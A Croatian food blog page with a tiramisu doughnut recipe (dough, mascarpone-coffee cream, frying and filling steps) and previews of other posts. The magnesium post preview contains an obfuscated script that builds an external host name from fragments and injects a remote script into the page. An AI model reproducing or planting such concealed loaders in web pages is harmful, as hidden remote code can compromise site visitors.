TIRAMISU KRAFNE


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>Tiramisu krafne


Tiramisu krafne 



I dok klasični recepti za krafne nikad ne izlaze iz mode, ovog smo puta naišli na nešto posebno: krafne s okusom tiramisua. Spoj bogatog mascarponea, kave i mirisnog kakaa pretvara poznati talijanski desert u savršeni snack. Ove krafne izgledaju luksuzno, a zapravo ih je iznenađujuće lako (i zabavno) pripremiti kod kuće.




Tiramisu krafne 


Sastojci (za 12–14 krafni):


Za krafne:

  • 500 g glatkog brašna
  • 60 g šećera
  • 7 g suhog kvasca (ili 20 g svježeg)
  • 250 ml mlijeka, mlakog
  • 2 jaja
  • 60 g maslaca, sobne temperature
  • prstohvat soli
  • ulje za prženje

Za kremu tiramisua:

  • 250 g mascarponea
  • 100 ml slatkog vrhnja
  • 50 g šećera u prahu
  • 2 žličice instant kave ili espresso koncentrata
  • 2 žlice likera (Marsala ili rum, po želji)
  • Kakao za posipanje



Priprema:

  1. Priprema tijesta: U toplom mlijeku razmutite kvasac s malo šećera i ostavite da se aktivira 10 minuta. U velikoj zdjeli pomiješajte brašno, šećer i sol. Dodajte jaja, maslac i mlijeko s kvascem, te zamijesite mekano, elastično tijesto. Pokrijte i ostavite da se diže 1–1,5 sati.
  2. Formiranje krafni: Tijesto razvaljajte na 1 cm debljine i režite krugove ili oblike po želji. Ostavite da se kratko dignu 15–20 minuta prije prženja.
  3. Prženje: Zagrijte ulje na srednju temperaturu i pržite krafne dok ne dobiju zlatno-smeđu boju, oko 2–3 minute sa svake strane. Posložite ih na papirnate ubruse da upiju višak masnoće.
  4. Priprema kreme: U zdjeli miksajte mascarpone, vrhnje, šećer, kavu i liker dok ne dobijete glatku, kremastu teksturu.
  5. Punjenje i dekoracija: Ohlađene krafne prerežite po sredini i napunite kremom. Po vrhu pospite kakaoom i po želji dodajte tanke listiće čokolade ili malo ribane čokolade za efekt.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više